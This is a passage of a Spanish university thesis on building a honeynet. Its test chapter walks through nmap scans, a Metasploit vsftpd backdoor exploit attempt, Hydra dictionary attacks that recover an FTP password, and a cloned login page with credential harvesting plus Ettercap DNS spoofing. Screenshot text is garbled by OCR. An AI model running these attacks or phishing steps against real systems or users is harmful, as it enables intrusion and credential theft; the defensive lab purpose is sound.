Gateway denominado Honeywall.

Se debe colocar la Honeynet en un lugar que no perjudique a la red de datos de la
institucion, por lo que se tendrd que crear una VLAN aislada, para la ubicacion del
prototipo, esto permitira la libre circulacion del trafico saliente y entrante de la Honeynet
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sin un previo control por parte de las seguridades y firewalls instalados en la red de
campus, y la recopilacion en mayor proporcion de la informacion necesaria para el
analisis.

La VLAN aparecerd visible para los usuarios y posibles intrusos en Internet, por lo que

se podré tener la mayor interaccion posible con los usuarios no autorizados.

Los honeypots que se constituyan estaran totalmente visibles, como cualquier otro
servicio que presta la UPS, por medio de la VLAN aislada y la interfaz fisica de la

maquina real.

o Disposicion y uso de las Interfaces

Se puede observar ademas la herramienta que se usara principalmente para otorgar los
permisos de conexion, control y captura de informacidn, esto se logra gracias a que sus

interfaces se configuran en modo bridge.

En la Figura 3.20. se visualiza el disefio propuesto para la puesta en funcionamiento de
la Honeynet, la cual consta de una Honeynet virtual auto contenida para que pueda
funcionar en una Unica maquina real para el aprovechamiento de las herramientas y

recursos disponibles.

Tabla 3.1. Distribucion de las Interfaces en la Honeynet

Interfaz 1 en modo Bridge Administracion de Honeywall

Comunicacion de Honeywall con la Maquina

Interfaz 2 en modo Bridge o
Anfitrion.

Interface 3 en modo Host-Only Comunicacion de Honeywall con los Honeypots

Nota: Elaborado por Dennis Carcelén, Carlos Rios
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Esquema de disefio propuesto para el prototipo Honeynet
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Figura 3.20. Elementos del prototipo Honeynet y su distribucion en la Red

Elaborado por: Dennis Carcelén, Carlos Rios

HONEYWALL
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3.4 Implementacion de la Honeynet

Para la implementacion se requiere que el administrador de la red del campus Sur,
asigne direcciones IP locales o privadas para el o los honeypots creados. Estas
direcciones IP locales deben ser traducidas por medio de un NAT a direcciones IP
publicas para el acceso a internet, asi se puede recolectar correctamente y en buena
cantidad, la informacién para su respectivo y posterior anélisis.

3.4.1 Hardware y Software disponible

Para la implementacion de la solucion planteada, se dispone de un equipo Lenovo T430
con las siguientes caracteristicas, que aseguran el correcto despliegue y funcionamiento

de la Honeynet:

Procesador: Intel Core i5-3320M CPU 2.60GHz
Memoria RAM: 4.00 GB

Tipo de Sistema operativo: 64 Bits Windows 8 PRO
Tarjeta de red: Gigabit Intel ® 82579LM

Espacio de disco: 367 GB

En esta maquina se pone en funcionamiento el honeypot con los respectivos servicios
implementados en el sistema operativo CentOS 7 en una consola virtual desplegado a
través del software de virtualizacion VirtualBox.

¢ Bloques de componentes de la Honeynet

El sistema honeynet propuesto consta de los siguientes blogues de componentes:

3.4.2 Interfaces

Para la instalacion del Honeywall se deben configurar dos interfaces de red, una en
modo “Puente” o bridge para la comunicacion con la maquina fisica y la otra para la
gestion, y otra adicional en modo de “Solo invitado” para que pueda tener intercambio

de informacion con el honeypot.
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3.4.3 Honeywall

Honeywall CDROM es la herramienta estrella de alta interaccién para capturar,
controlar y analizar ataques. Crea una arquitectura que le permite implementar
honeypots de baja interaccion y de alta interaccion, pero esta disefiado principalmente

para una alta interaccion.

El Honeywall de la Honeynet esta contenido en una consola virtual, con su sistema
operativo basado en CentOS e instalada a través del Roo CDROM (roo-
1.4.h20080424215740) (Spitzner, 2008).

3.4.4 Honeypots

El honeypot que se pone en funcionamiento provee los siguientes servicios:

e DHCP: para la asignacion dindmica de las direcciones en los hosts de la red
e DNS: para los nombres de dominio

e FTP: para el envio y recepcion de archivos

e Webmail: para el envio y recepcion de mensajes electronicos

e HTTP: para la transferencia de informacion en internet

Estos servicios se instalan mediante una méaquina virtual con sistema operativo CentOS
7 y se tiene el minimo de seguridades posibles, para obtener el maximo
aprovechamiento de la recoleccion de la informacion en caso del exitoso acceso por

parte de posibles usuarios no autorizados.

En la Tabla 3.2. se muestra el detalle de los servicios instalados y el proceso de

instalacion de estos servicios se muestra en el Anexo 1.
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Tabla 3.2. Servicios instalados en el Honeypot.

Servicio Descripcion Version
DHCP Servidor DHCP dhcp-4.2.5-42.el7.centos.x86_64
Servidor BIND ( Berkeley Internet Name )
DNS ) bind-9.9.4-29.el7_2.4.x86_64
Domain)
Web .
Servidor web HTTP Apache httpd-2.4.6-40.el7.centos.4.x86_64
(HTTP)
FTP Servidor very secure FTP daemon vsftpd-3.0.2-11.el7_2.x86_64
Mail ) ) ]
Servidor mail SMTP postfix-2.10.1-6.el7.x86_64
(SMTP — ) )
Servidor mail POP3 dovecot-2.2.10-5.el7.x86_64
POP3)
) herramienta de configuracién de servicios con ]
Webmin ) ) webmin-1.820-1.noarch
interfaz grafica via web
SSH Servidor Secure Shell OpenSSH openssh-6.6.1p1-25.el7_2.x86 64

Nota: Elaborado por Dennis Carcelén, Carlos Rios
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CAPITULO 4

PRUEBAS Y RESULTADOS
Con la VLAN aislada proporcionada se tuvo un area de pruebas en el cual se pudo
replicar cinco servidores y proporcionar conectividad de internet a 8 clientes conectados
en dicha red local y un promedio de entre cinco usuarios inaldmbricos. Se cre0 asi un
ambiente controlado mediante la virtualizacion de cuatro computadores donde se pudo
realizar pruebas y recopilar informacion del funcionamiento y los usuarios cercanos al
laboratorio de redes en un periodo aproximado de tres meses en que se hizo uso de la
disponibilidad de red inaldmbrica abierta, por medio de un ataque a nivel de enlace de
datos (ettercap —IPspoofing y sniffing), a nivel de capa red (ping y nmap) y a nivel de

capa aplicacion (set tool Kits - harvesting).

4.1 Pruebas de funcionamiento y vulnerabilidad de los Servicios implementados
Al analizar las vulnerabilidades presentes en los servicios instalados en el honeypot, se
considera realizar una serie de pruebas de penetracion que van desde ataques al entorno,

hasta ataques de datos y de logica.

La primera prueba se la realiza con la herramienta Metasploit contenida en Kali Linux
para el conocimiento de puertos abiertos y que pueden ser victimas de un posible ataque,
en el Honeypot implementado. Este escaneo es considerado en si como un principio de
intrusién o ataque y violacion de la privacidad de las redes puesto que es la manera mas
béasica de hacer un sondeo del estado de la red y su estructura sin el consentimiento del
administrador de red, esto con el propdsito de tener indicios de la posible topologia y

encaminar un ataque a mayor escala.

En la Figura 4.1. se visualiza la consola de Metasploit para la realizacion de los ataques

hacia el honeypot y la comprobacion de su funcionamiento.
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Consola de Metasploit

A database appears to be already configured, skipping initialization

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.5-201
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post
+ -- --=[ 437 payloads - 37 encoders - 8 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

nsf > []

Figura 4.1. Consola de la herramienta Metasploit contenida en Kali Linux

Elaborado por: Dennis Carcelén, Carlos Rios

Desde esta herramienta, se ejecuta un nmap a la direccién del honeypot para verificar
que los puertos correspondientes a cada servicio, se encuentren abiertos como se
propuso en la fase de disefio. La Figura 4.2. muestra lo descrito en esta parte.

Se puede observar el estado de los puertos correspondientes a los servicios
implementados en el honeypot y se verifica que los puertos de ftp, ssh, dns, http y el

10000 de tcp que corresponde a webmin, se encuentran abiertos.
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Mapeo de puertos del honeypot

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.5-2016 401 1
--=[ 1517 exploits - 875 a iary - 257 post ]
--=[ 437 payloads - 37 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

mmon 109 120 1 L1

;l execaynmap i92.168.1.51

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-28 17:10 ECT
Nmap scan report for 192.168.1.51
Host is up (0.0082s latency).
Not shown: 994 filtered ports
DN CTATE (= =1VA ¥ai=

open ftp

open ssh

open domain

open http

closed

open

Nmap dgne: 1 IP address (1 host up) scanned in 5.30 seconds

Figura 4.2. Mapeo de determinacion de puertos abiertos en el
Honeypot

Elaborado por: Dennis Carcelén, Carlos Rios

4.1.1 Pruebas de las Versiones de los servicios con Metasploit

Ahora se procede a las pruebas de verificacion de las versiones de los servicios

implementados en el honeypot.

4.1.1.1 Prueba de verificacion del servidor FTP

En la Figura 4.3. se observa el ataque para el conocimiento de la version que se ha
instalado en el servidor FTP. Esta prueba se la realiza con el comando nmap —sV
192.168.1.51 —p 21 en donde:

e -sV: Se usa para que Metasploit examine la version del servicio.
e -p 21: Se usa para la examinacion del puerto del servicio (en este caso el puerto

21 correspondiente a ftp).
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Comprobacién del servidor FTP

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-28 17:29 ECT
Nmap scan report for 192.168.1.51

Host is up (0.074s latency).

PNRT____SQTATF_SFRVTCF_VFRSTNN

21/tcp open ftp vsftpd 2.0.8 or later

MAC AQQTEsSST Bg:/0:3r:Ul:80u:6B (Hon Hal Precision Ind.)

Service Info: Host: Welcome

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
e: 1 IP address (1 host up) scanned in 12.52 seconds

Figura 4.3. Ataque Comprobacién de la versién implementada del servidor de FTP y el estado de puerto.

Elaborado por: Dennis Carcelén, Carlos Rios

En la Figura 4.4. se muestra otro mecanismo para el escaneo de puerto ademéas de nmap,
el modulo auxiliar que se usa es use auxiliary/scanner/ftp/ftp_version. Cuando se
complete el escaneo, se mostraran los pardmetros que son necesarios para el lanzamiento
de un exploit para poder acceder a la informacion de la version del servidor FTP

instalada.
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Lanzamiento de exploit para vulnerar el servidor FTP

ftp/ftp_version
License: Metasploit Framework License (BSD)
<: Normal

hdm <x@hdm. i

FTPPASS L a e.c password for the specified username
FTPUSER anonymous username to authenticate as

RHOSTS target address range or CIDR identifie
RPORT 21 s target port
THREADS number of concurrent threads

Description:
Detect FTP Version.

msf auxiliary( ) # set RHOSTS 192.168.1.51
RHOSTS => 192.168.1.51
msf auxiliary( ) = exploit

] 192.168.1.51:21 FTP Banner: '220 Welcome to UPS Campus Sur FTP service.\x0d\x0a'
] Scanned 1 of 1 hosts complete)

Auxiliary module ex ion completed
sf auxiliary( >[]

*
¥

[
[
[
m

Figura 4.4. Ataque realizado mediante un exploit hacia el servidor de FTP para
conocer la version implantada.

Elaborado por: Dennis Carcelén, Carlos Rios

Busqueda de exploit para vulnerar el servidor FTP

Figura 4.5. BUsqueda de un exploit para vulnerar el servidor de FTP.

Elaborado por: Dennis Carcelén, Carlos Rios
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En la Figura 4.5. se muestra la busqueda, con el comando search vsftpd, de un exploit
para poder vulnerar el servicio FTP. Se utiliza el comando use seguido de la ruta del
exploit que se ha seleccionado, en este caso es use exploit/unix/ftp/vsftpd_234 backdoor,
el comando muestra los campos requeridos para realizar la explotacion de la
vulnerabilidad del servicio. Luego de introducir uno de los campos necesarios con el
comando set, se ejecuta la orden exploit para vulnerar el servidor. Lo descrito se aprecia

mejor en la Figura 4.6. y en la Figura 4.7.

Lanzamiento de exploit para vulnerar el servidor FTP

ploit Framework License (BSD)

hdm <x@hdm.io>
MC <mc@metasploit.com=>

Available targets:
Id Name

(¢] Automatic

Basic options:
Name Current Setting Required Description

RHOST yes The target address
RPORT 21 je The target port

Payload information:
00
characters

Description:
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the
vsftpd-2.3.4.tar rchive between June 30th 2011 and July lst 2011
according to the most recent information available. This backdoor
moved on July 3rd 2011.

osvdb.org/73573
ebin.co T9sS5
arybeastsecurity.blogspot.com/2011/07/alert -vsftpd-download-backdoored.html

xploit ( ) > (]
Figura 4.6. Ejecucién del exploit requerido para vulnerar el servidor FTP.

Elaborado por: Dennis Carcelén, Carlos Rios
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Lanzamiento de exploit para vulnerar el servidor FTP

msf exploit( ) > set RHOST 192.168.1.51
RHOST => 192.168.1.51
msf exploit( ) > exploit

[*] Banner: 220 Welcome to UPS Campus Sur FTP service.
[*] USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.
msf exploit( } =[]

+

Figura 4.7. Ataque realizado mediante un exploit hacia el servidor de
FTP.

Elaborado por: Dennis Carcelén, Carlos Rios

4.1.1.2 Prueba de verificacion del servidor HTTP

En la Figura 4.8. se observa el ataque para el conocimiento de la versién que se ha

instalado en el servidor HTTP. Esta prueba se la realiza con el comando nmap —sV
192.168.1.51 —p 80.

Comprobacién del servidor HTTP

msf > nmap -sV 192.168.1.51 -p80
e

7] exec: nmap -sV 1YZ.1b8.1.51 -p80

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-28 21:30 ECT
Nmap scan report for 192.168.1.51

Host is up (0.033s latency).

PORT  STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.6 ((Cent0S) PHP/5.4.16)
MAC Address: B8:76:3F:D1:80:6B (Hon Hai Precision Ind.)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds

Figura 4.8. Ataque Comprobacion de la version implementada del servidor de HTTP vy el
estado de puerto.

Elaborado por: Dennis Carcelén, Carlos Rios

4.1.1.3 Prueba de verificacion del servidor SSH

En la Figura 4.9. se observa el ataque para el conocimiento de la version que se ha

instalado en el servicio SSH. Esta prueba se la realiza con el comando nmap —sV
192.168.1.51 —p 22.
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Comprobacién del servidor SSH

msf nmap -sV 192.168.1.51 -p22

>
[*] exeCimiap -SV 19Z.168.1.51 -p22

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-28 21:28 ECT
Nmap scan report for 192.168.1.51

Host is up (0.10s latency).

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)

MAC Address: B8:76:3F:D1:80:6B (Hon Hai Precision Ind.)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
: 1 IP address (1 host up) scanned in 1.72 seconds

Figura 4.9. Ataque Comprobacién de la version implementada del servidor de SSH y el estado de

puerto.

Elaborado por: Dennis Carcelén, Carlos Rios

4.1.2 Prueba de verificacion del servidor DNS

En la Figura 4.10. se observa el ataque para el conocimiento de la version que se ha
instalado en el servidor DNS. Esta prueba se la realiza con el comando nmap —sV

192.168.1.51 —p 53.

Comprobacién del servidor DNS

msf > nmap -sV 192.168.1.51 -p53
[*] exec: nmap -sV 1YZ.1b8.l.51 -p53

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-28 21:28 ECT
Nmap scan report for 192.168.1.51

Host is up (0.08ls latency).

PORT  STATE SERVICE VERSION

53/tcp open domain ISC BIND BIND

MAC Address: B8:76:3F:D1:80:6B (Hon Hai Precision Ind.)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
msf >

Figura 4.10. Ataque Comprobacidn de la versién implementada del servidor de DNS y el estado de
puerto.

Elaborado por: Dennis Carcelén, Carlos Rios
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4.1.3 Pruebas de penetracion a la Honeynet mediante ataques de fuerza bruta por

diccionario

A continuacion se realiza el proceso para poder vulnerar uno de los servicios disponibles
en la honeynet mediante la herramienta Hydra, contenida en la suite de Kali Linux, que
también puede vulnerar servicios tales como: Mysql, POP3, SNMP, SMTP, SSH,
Telnet, entre otros. Se ha seleccionado el servidor ftp para medir la efectividad de la

contrasefa establecida por uno de los usuarios registrados en el servidor.

Estos ataques se realizan por medio de diccionarios que estan disponibles en la web,
compilados segun temas especificos como: usuarios, peores contrasefias utilizadas,

idiomas, etc. y también con diccionarios provistos en la suite de Kali.

En la Figura 4.11. se muestra el resultado obtenido del ataque realizado al servidor
mediante un diccionario que contiene 500 palabras (descritas en un top de las mas
inseguras por su popularidad) para lograr obtener la contrasefia, conociendo con

antelacion el nombre de usuario.

Este ataque ha tomado un tiempo de un minuto y se registra como fallido debido a la

poca cantidad de palabras contenidas en el archivo con formato .txt seleccionado.

Ataque de fuerza bruta fallido mediante Hydra

root@kali: ~ (- <)
File Edit View Search Terminal Help

:~# hydra -1 rivers -P '/root/Desktop/500-worst-passwords.txt' ftp://192.
168.1.51

(S

ausei /o - asSe UU (UL USe Ll mLcitaly Ul oseciel sei

v { v [T Plea
ice organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-12-13 16:25:15

[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent o
verwriting, you have 10 seconds to abort...

[DATA] max 16 tasks per 1 server, overall 64 tasks, 500 login tries (1:1/p:500), ~0
tries per task

[DATA] attacking service ftp on port 21

[STATLIS]1 320 .00 tries/min. 320 tries in AO:01h. 180 todo in AO:01h. 16 active

1 of 1 target completed, O valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-12-13 16:27:03

~# hydra -L rivers -FP ‘/root/Uesktop/5UU-worst-passwords.txt' ftp://192.
168.1.51[]

Figura 4.11. Ataque de diccionario para recuperacion de contrasefia

Elaborado por: Dennis Carcelén, Carlos Rios
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Después de este primer intento, se realiza la prueba con un diccionario al azar de 3560
palabras, contenido en John The Ripper, logrando recuperar la contrasefia del usuario del
que se tiene conocimiento, a los 317 intentos en un tiempo de un minuto. La Figura 4.12.

muestra el resultado de lo descrito en esta parte.

Ataque de fuerza bruta exitoso mediante Hydra.

File Edit View Search Terminal Help

:~# hydra -1 rivers -P '/root/Desktop/passjohn.lst' ftp://192.168.1.51
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret ser
vice organizations, or for illegal purposes.

Hydra (http:// thc.org/thc-hydra) starting at 2016-12-13 16:38:19
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent o
verwriting, you have 10 seconds to abort...

[DATA] max 16 tasks per 1 server, overall 64 tasks, 3560 login tries (1:1/p:3560),
~3 tries per task

[DATA] attacking service ftp on port 21

[STATUS] 317.00 tries/min, 317 tries in 00:01h, 3243 todo in 00:llh, 16 active
[21]1[ ] host: login: password:

1 Anf 1 +arant ciicencefiillv ~amnl A*'AI“’ 1 valdid maceuwmnrd faund
Hydra (htt /www.thc.org/thc-hydra) finished at 2016-12-13 16:39:43

~# []

Figura 4.12. Ataque de diccionario para recuperacion de contrasefia

Elaborado por: Dennis Carcelén, Carlos Rios

4.2 Deteccion por parte de Honeywall de los ataques realizados.

Debido a que, entre la maquina atacante y el servidor, se encuentra colocada la
herramienta Honeywall, el escaneo es detectado sin que el atacante lo note, logrando
registrarlo en el registro de intrusiones. El detector de intrusiones registra en la bitacora
con hora, fecha y la direccién IP de origen y detalla el barrido de puertos como alertas
de intrusion, una por cada sondeo de un puerto especifico. El lanzar un barrido de
puertos desde la suite Kali conlleva a realizar un barrido de 1000 puertos posibles entre

los cuales se encuentran los puertos predeterminados por defecto de cada servicio.

Los resultados mostrados en por el Honeywall se visualizan en la Figura 4.13. y en la
Figura 4.14.
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Interfaz Walleye

The Honeynet_ Walleye: Honeywall Web Interface
Data Analysis System Admin Documentation Logout
Connections triggering IDS events Observed from Sensor 1121668809 After Wed Nov 30 21
November 2016
sun rmon tue wed thu fri  sat
1 2 3 4 5 W hiomber30th2125:16 00-01:03 <3-CMP PING NMAP
B h s e I% 192.168.1.5 0 192.168.1.51
20 21 22 23 24 25 26 0 o5 unkn —0 kB 3 pkts —
27 28 23 a0 November 30th 21:25:19 00:00:04 <3-|CMP Destination Unreachable
Er!or L;lon;feglﬁ'lil\t( |v|01mhl 192.168.1.5 0 192.168.1.51
rior Year)(Mext Year, ¥ s
HU"'O_OO Y . . . ;CP 63%55“(:50:1?;5?) O kB 3 phts . 23 (t=in=y)
: o o Ul ber30th 21:25:19 00:00:04 <-2-lCMF Destination Unreachable
o o 192.168.1.5 0 192.168.1.51
5 o TCP 63358 (53358) 0 kB 3 phts —> 527 {submission)
2 Windows —0 kB O pkts —
g E 1 ber30th 21:25:19 00:00:04 <-1-ICMP Destination Unreachable
] 2 192.168.1.5 0 192.168.1.51
5 B TCP 63360 (53360) 0 kE 3 phts —> 3306 (mysql)
2 Windows 0 kB O pkts =
o 5
o 3 H ber30th 21:25:19 00:00:05 <-3-|CMP Destination Unreachahle
0 0 192.168.1.5 0 192.168.1.51
0] a TCP 63361 (63361) O kB 3 phts —> 995 (pop3s)
o o 2 Windows —0 kB O pkts —
0 o Hovember 30th 21.25:20 00:00:04 <-1-ICMF Destination Unreachable
0 0 192.168.1.5 0 192.168.1.51
0 0 cP 63362 (63362) 0 kB 3 pits —> 135 (epmap)
o o e Windows -0 KE O phs =
0 0 November 30th 21:25:20 00:00:04 <.1.ICMP Destination Unreachahle
o 0 192.168.1.5 0 192.168.1.51
(] 0 TCP 63363 (63363) 0 kB 3 pits —> 111 (sunrpe)
0 0 P Windows —0 kB O phts —
221 323| Movember 30th 21:25:20 00:00:04 <-1-ICMP Destination Unreachable
0 0| 192.168.1.5 0 192.168.1.51
2 0 0 TcP 63364 (63364) 0 kB 3 pits —> 133 [nethios-ssn)
—View | - Windaws <0 kB 0 pkis —
Hovember 30th 21:25:21 00:00:04 <-1-lCMF Destination Unreachahle
Agdregate 192.168.1.5 0 192.168.1.51
* Detailed TCP 63367 (63367) 0 kB 3 pits —> 113 (auth)
2 Windows —0 kB O pkts —
—Flow Direction Filter T Movember 30th Z1:25:21 00:00:04 <3CWP Nestination Linreachahle

Figura 4.13. Registros obtenidos de los ataques de barrido de puertos realizados con nmap desde Kali

Linux yde los intentos de conexién por parte de los usuarios.

Elaborado por: Dennis Carcelén, Carlos Rios
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El IDS Snort incorporado en la herramienta Honeywall funciona segin lo esperado

frente a los ataques realizados mostrando los 1000 paquetes ICMP enviados en el

barrido de puertos y el unico paquete ICMP enviado mediante el nmap ejecutado a cada

puerto de servicio especifico. Ademas se pudo visualizar que al realizar el despliegue de

la honeynet de modo virtualizado, la herramienta Honeywall obtiene una cantidad

aproximada de 167 intentos de conexién (paquetes de tipo Universal Plug and Play o

uPnP) por cada mes al interactuar con la maquina virtual del honeypot en la prueba

realizada

Interfaz Walleye

Flox Diracten Filler Biovember 304 212521 000004
192.168.1.5
akeund rcep 63368 (63368) OV8 3 pin
* Outbound £ Y -
Hevember 30 212524 00005
Either © 192.168.15
Other Filvess ycpP 63376 (€3376) M3 pim
Anv Proto | v ~ Mevember 30m 212525 000004
y 192.168.1.5
Bigirectional Flaws Only Fer 63381 (53381) O W Ipis -
fxclude nom wnic at Flows T Mevember30® 212525 000004
Setel Related Flows Only g ’
cp 5 3 ol -
Submit Query Mevember 30 212526 000008
% frep '8 3 pim ~
Reset Filters ¥
Hovember 302 212927 000005
| 192.168.15
{rce 63396 (63396) I pin
Hiovember 30t 212528 000005
| 192.168.1.5 0
frce 63405 ($3409) oM Jpis ~
_ Mevember30m 212530 000007
192.168.1.5
rce 63416 (63418) 08 3 pin -
Wevember J0% 212530 000008
2 192.168.1.5
TcP 63419 (62419) 083 pin -
Wiovember 30th 212931 CO0009
192.168.1.5
frce 63423 (63423) 8 3l
Miovember 0% 212332 000009
| 192.168.1.5 (
ree 63428 (63428) B3 pin -
T Mevember30m 212533 000009
% 192.168.1.5
{Tce 6343% (63439%) 3 pin
WMevember 30 212534 000000
(e} 19216815

Figura 4.14. Registros obtenidos de los ataques de barrido de
Linux

Elaborado por: Dennis Carcelén, Carlos Rios

192 1681 51

<J3<4CMP Destination Unreachable
192.168.1.51
S080 (webcache)
0480 pin
<34CMP Destination Unreachable
192.168.1.51
256 (256)
0B 0 pin
<-14CMP Destination Unreachable
192.168.1.51
X306 (mysql)
O 4B 0 pis
<-14CMP Destination Unreachable
192.168.1.51
687 (submission)
1AE 0 pln
<24CMP Destination Unreachable
192.168.1.51
143 (imap)
080 pin -
<24CMP Destination Unreachable
192.168.1.51
1723 ppyp)
0480 pin
<24CMP Destination Unreachable
192.168.1.51
1096 (r miactvation)
0480 pis
<24CMP Destination Unreachable
192.168.1.51
9978 (9878)
-0 B0 pin
<14CMP Destination Unreachable
192.168.1.51
4004 (puovoid)
OB O pin -
<JQ4CMP Destination Unreachable
192.168.1.51
9958 (9968
048 0 pin
<J4CMP Destination Unreachable
192.168.1.51
143 (imap)
0180 pin
<1JCMP Destination Unreachable
192.168.1.51
2607 (connecton)
0180 plm
<-14CMP Destination Unreachable

puertos realizados con nmap desde Kali

La figura 4.15 muestra el registro por parte de Honeywall de los intentos de intrusion al

servidor ftp mediante los ataques de fuerza bruta realizados desde Hydra.
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Registro de ataques al servidor FTP

The Honeynet Walleye: Honeywall Web

Interface

Data Analysis

December
2016

- a2 z =3

] 192.158.1.51

192.168. 1 51
nnnnn

192.153.1.51

192.168. 1 S1
nnnnn

192.153.1.51

192.168. 1 51
nnnnn

o 192108.1.51

192.168. 1 51
nnnnn

o 192.168.1.51
21 (ftp)

192.168. 1 51
nnnnn

192.158.1.51

102.168. 1 51
nnnnn

192.153.1.51

192.168. 1 S1
nnnnn

EEEEEAECECECECEECEECEE

Figura 4.15. Registro de intentos de ataque de diccionario al servicio FTP

Elaborado por: Dennis Carcelén, Carlos Rios

4.3 Clonacion de la pagina web institucional para el servidor HTTP del Honeypot

La clonacion de paginas es un método considerado de ataque, estipulado bajo el término
de ingenieria social. El atacante induce a la victima a visitar una pagina de apariencia
similar (clonada), pero que se aloja en un servidor web diferente al original (otra
direccion IP), esto con la finalidad de obtener informacion crucial como son las
credenciales de acceso. El atacante realiza la obtencion de las credenciales mediante un
método conocido como “Credential Harvester” o segador, lo que implica escribir las
credenciales en el portar de registro por parte del usuario victima, esperando conseguir

un inicio de sesion y por el contrario estas son registradas en un archivo en texto plano.

El procedimiento de clonacion de paginas web puede ser resuelto de varias maneras. En
esta parte se describe el proceso de clonacion usando las herramientas provistas en Kali

Linux.
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4.3.1 Proceso de clonacion de la pagina institucional.

Existe la posibilidad de clonar péginas en su totalidad (todas las imégenes y vinculos
contenidos en la pagina) por medio de un software de licencia abierta llamado HT Track
website copier. El software hace un barrido de todos los elementos que conforman la
pagina web corrigiendo el fallo de ciertas imagenes no accesibles. Lo descrito en esta
parte se muestra en la Figura 4.16.

Interfaz HT Track

ile Preferences Mirror Log Window Help

]u Disco local <>

DRIVERS In progress: Transfeming data..

B Intel

Perflogs Irformation

B L) Program Files Bytes saved 11,17ME Lirks scanned: 2/161 (+158)
[l | Program Files (xB6) Time: Tmin32s Files written: 159
SWTOOLS Transfer rate: 24 37KiB/s (17,13KiB/s) Files updated: 0

B | Users Active connections: 2 Ermors: 0

Windows
I SONY_USMIES <D:>
1o Unidad de DVD RW <E:>

scanning w.ups edu.ec.. sfaces-blussky | SKIP
receive ww.ups.edu ec.. ottaltheme./js/jquery js | SKIP

| | Cancelar HAyuda

Figura 4.16. Clonacion de la pagina web de la UPS por medio de HT Track

Elaborado por: Dennis Carcelén, Carlos Rios

4.3.1.1 Clonacién de la pagina web usando Ettercap

Para automatizar el proceso completo, en la suite de Kali existen herramientas
precargadas que realizan de manera global todas las etapas. Este procedimiento se
considera un ataque de principio a fin, puesto que para redirigir a la victima, la
herramienta SET TOOL KIT clona una pagina (de preferencia que tenga cuadros de
dialogo en los que se requiera ingreso de cuenta y contrasefia), esta pagina consta ya de
un cambio en el cédigo que permite guardar la informacion en un archivo de texto

(credential harvesting). Posteriormente, se requiere envenenar las peticiones al servidor
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DNS disponible en la red y crear una respuesta ilegitima a la peticion de nombre de
dominio. Con lo cual el usuario escribird una direccion URL correcta pero el dns
responde con otra direccién que no corresponde a la original del sitio web. Esto es
posible mediante la herramienta ETTERCAP, la cual realiza un ataque denominado

DNS spoofing, que es el proceso ya descrito anteriormente.

En la Figura 4.17. se puede observar la seleccion de la herramienta SET Tool Kit en la

suite Kali Linux.

Seleccion de SET Tool Kit.

Applications ¥ Places

Favorites backdoor-f...

01 - Information Gathering
beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis @@ ghostphis...

04 - Database Assessment
maltego
05 - Password Attacks

06 - Wireless Attacks PR

07 - Reverse Engineering s ET' social engi...

08 - Exploitation Tools
u3-pwn
09 - Sniffing & Spoofing
10 - Post Exploitation
11 - Forensics
12 - Reporting Tools
13 - Social Engineering Tools
14 - System Services

Usual applications

Figura 4.17. Clonacion de la pagina web de la UPS por
medio de Set Tool Kit

Elaborado por: Dennis Carcelén, Carlos Rios

El resultado de la clonacion de la pagina se visualiza dirigiéndose en el navegador a la
direccion IP que tiene establecida la maquina con la suite Kali-Linux, que en este caso
es la 192.168.1.3. La pagina presenta ciertas fallas por el idioma espafiol por lo que
podria detectarse que no es el sitio oficial de la institucion. Lo anteriormente descrito se

muestra en la Figura 4.18.
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Pagina Web Institucional Clonada

192.168.1.3 @ | |Q Search

[ Most Visited [l Offensive Security S Kali Linux ‘% Kali Docs 4 Kali Tools [MExploit-DB Wy Aircrack-ng

0O ©

# INICIO MAPA DEL SITIO NOTICIAS AGENDA DIRECTORIO

UNIVERSIDAD POLITECNICA

SALESIANA

ECUADOR

ContraseAsa;

INICIAR SESIA'N

Recordar C

wEeE U3 s

= Correo Institucional & Quipux

A Por razones de seguridad, por favor cierre la sesiAsn y cierre su navegador web cuando haya terminado de acceder a los servicios que requieren

autenticaciAn.

Figura 4.18. Resultado de la Clonacion de la pagina web de la UPS

Elaborado por: Dennis Carcelén, Carlos Rios

Los archivos de esta pagina estan contenidos en un archivo de tipo HTML.

Adicionalmente en este fichero se encuentra un archivo que tiene una matriz que ira

guardando las credenciales de las posibles victimas. La Figura 4.19. muestra el resultado

de este proceso.

Archivo de Registro

Files «

Places =

Applications +

< > B  var  www | html

™ Recent
&} Home

&

index.html

i Desktop

harvester_2016-
12-01 20:25:35.
117452 txt

D Documents
@® Downloads

A Music

Elaborado por: Dennis Carcelén, Carlos Rios

Figura 4.19. Fichero en donde se guardan las credenciales obtenidas

D

post.php
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Se efectla el ataque por medio de la herramienta Ettercap y el resultado se muestra en la

Figura 4.20. donde se visualiza el sitio con spoofing. Se debe notar que la direccion

URL no corresponde al sitio desplegado.

Spoofing de la pagina Web Institucional

du.ec i

RO ©

MAPADELSITIO  NOTICIAS  AGENDA DRectorio ) ©

#DsaiEsiaNa —

Cuenca Quito Guayaquil

RECTORADO: CAMPUS EL GIRON CAMPUS CENTENARIO:
o Vi o Madsid Rot

1U5

uni>ersia

